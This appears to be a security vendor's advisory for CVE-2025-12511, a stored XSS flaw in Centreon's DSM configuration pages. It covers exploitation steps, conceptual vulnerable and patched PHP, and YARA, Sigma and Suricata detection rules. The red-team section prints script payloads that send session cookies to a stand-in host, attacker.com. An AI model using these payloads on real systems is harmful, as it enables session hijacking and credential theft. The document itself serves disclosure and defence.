CVE-2025-12511
Executive Summary
CVE-2025-12511 is a Stored Cross-Site Scripting (XSS) vulnerability in Centreon Infra Monitoring, specifically within the DSM (Dynamic Service Monitoring) extension configuration modules. An authenticated attacker with elevated privileges can inject malicious scripts into web pages generated by the application. When other privileged users view the affected pages, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or further lateral movement within the Centreon environment. The vulnerability affects versions 25.10.0 before 25.10.1, 24.10.0 before 24.10.4, and 24.04.0 before 24.04.8. No public proof-of-concept or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct product vulnerability in Centreon Infra Monitoring software. The risk is primarily to on-premises deployments of Centreon.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.8 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): High (H) – The attacker must have elevated privileges (e.g., administrator or DSM configuration role).
- User Interaction (UI): Required (R) – The victim must click on or view the malicious content.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component, affecting the user's browser.
- Confidentiality (C): Low (L) – Limited information disclosure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the requirement for elevated privileges reduces the attack surface. However, once an attacker gains such privileges, the stored XSS can be used to target other administrators, potentially leading to full compromise of the Centreon platform.
Deep Dive & Mechanics
The vulnerability resides in the DSM extension configuration modules of Centreon Infra Monitoring. The application fails to properly neutralize user-supplied input during web page generation. Specifically, when a user with elevated privileges (e.g., an administrator) configures DSM parameters, the input is not sanitized or encoded before being stored and later rendered in the web interface.
Attack Flow:
- Authentication & Authorization: The attacker must first authenticate to the Centreon web interface with an account that has elevated privileges (e.g.,
adminor a user withDSM configurationrights). - Injection: The attacker navigates to a DSM configuration page (e.g.,
Configuration > Poller > Resourcesor a similar DSM-specific module) and injects a malicious JavaScript payload into an input field (e.g., a description, name, or custom parameter). - Storage: The payload is stored in the Centreon database without proper sanitization.
- Trigger: Another administrator (or the same attacker) views the affected configuration page. The stored payload is rendered in the browser, executing the malicious script.
- Impact: The script can perform actions such as:
- Stealing session cookies (if
HttpOnlyflag is not set). - Exfiltrating CSRF tokens.
- Modifying Centreon configurations.
- Redirecting to phishing pages.
- Performing actions on behalf of the victim.
- Stealing session cookies (if
Root Cause: The lack of output encoding or input validation in the DSM configuration modules. Centreon likely uses a templating engine (e.g., Smarty or Twig) that does not automatically escape HTML in certain contexts, or the developers explicitly disabled escaping for these fields.
Vulnerable vs. Patched Code
The exact code changes are not publicly available, but based on the vulnerability type, the fix involves proper output encoding.
Vulnerable Code (Conceptual PHP):
// Vulnerable: Directly outputs user input without escaping
echo "<input type='text' name='dsm_param' value='" . $_POST['dsm_param'] . "'>";
Patched Code (Conceptual PHP):
// Patched: Uses htmlspecialchars to escape HTML entities
echo "<input type='text' name='dsm_param' value='" . htmlspecialchars($_POST['dsm_param'], ENT_QUOTES, 'UTF-8') . "'>";
The patched version ensures that any HTML or JavaScript characters (e.g., <, >, ", ') are converted to their HTML entity equivalents, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Centreon instance with a user account that has elevated privileges (e.g.,
admin). - Knowledge of the DSM configuration interface.
Exploitation Steps:
- Login: Authenticate to the Centreon web interface as an administrator.
- Navigate: Go to
Configuration > Poller > Resources(or the specific DSM configuration page). - Inject Payload: In a text field (e.g.,
Resource Name), enter the following payload:
For a more impactful payload, use:<script>alert('XSS')</script><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save: Click "Save" to store the configuration.
- Trigger: Have another administrator view the same page. The script will execute in their browser.
Advanced Payload (Session Hijacking):
<script>
var img = new Image();
img.src = 'https://attacker.com/log?data=' + encodeURIComponent(document.cookie);
</script>
Blue Team
Detection & Prevention:
- Input Validation: Implement strict input validation on all DSM configuration fields. Allow only alphanumeric characters and specific safe symbols.
- Output Encoding: Ensure all user-supplied data is properly encoded before rendering in HTML context. Use functions like
htmlspecialchars()in PHP or equivalent in other languages. - Content Security Policy (CSP): Deploy a strict CSP header to mitigate XSS even if a payload is injected. Example:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Web Application Firewall (WAF): Use a WAF (e.g., ModSecurity) to block common XSS patterns.
- Session Security: Set
HttpOnlyandSecureflags on session cookies to prevent JavaScript access. - Audit Logs: Monitor for unusual changes to DSM configurations, especially by privileged users.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains from the Centreon server.
- Unusual
Refererheaders pointing to DSM configuration pages.
- Host IOCs:
- Unexpected JavaScript code in the Centreon database (e.g., in
resourcesorcfg_*tables). - Modified DSM configuration files on disk (if any).
- Unexpected JavaScript code in the Centreon database (e.g., in
- Log IOCs:
- Centreon audit logs showing creation or modification of DSM resources by privileged users.
- Web server logs (e.g., Apache/Nginx) showing requests to
/centreon/main.php?p=*with unusual parameters.
Detection Engineering
YARA Rule
rule CVE_2025_12511_Stored_XSS_Centreon {
meta:
description = "Detects stored XSS payloads in Centreon DSM configuration data"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-12511"
strings:
$xss_payload_1 = /<script[^>]*>.*<\/script>/i
$xss_payload_2 = /on\w+\s*=\s*['\"].*['\"]/i
$xss_payload_3 = /javascript\s*:/i
condition:
any of ($xss_payload*)
}
Sigma Rule
title: Stored XSS in Centreon DSM Configuration
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in Centreon DSM configuration logs
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: centreon
detection:
selection:
EventID: 1000 # Example: Centreon audit event for configuration change
Data|contains:
- '<script'
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in configuration (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-12511 - Stored XSS Payload Exfiltration from Centreon";
flow:to_server,established;
content:"/centreon/"; http_uri;
content:"GET"; http_method;
pcre:"/(<script|on\w+=|javascript:)/Pi";
sid:1000001;
rev:1;
reference:cve,2025-12511;
classtype:web-application-attack;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Centreon Infra Monitoring to the patched versions:
- 24.04.8 or later
- 24.10.4 or later
- 25.10.1 or later
- Review and sanitize all existing DSM configurations for any suspicious content.
- Reset passwords for all privileged accounts as a precaution.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) with XSS protection rules.
- Enforce strict Content Security Policy (CSP) headers.
- Conduct regular security audits of Centreon configurations.
- Enable detailed audit logging and monitor for anomalous changes.
- Apply the principle of least privilege – limit the number of users with DSM configuration rights.
Workaround (if patching is not immediately possible):
- Disable the DSM extension if not critical.
- Restrict access to the DSM configuration pages via IP whitelisting or VPN.
- Manually review and sanitize all input fields using a proxy or WAF.
Valters IT
Securing Digital Frontiers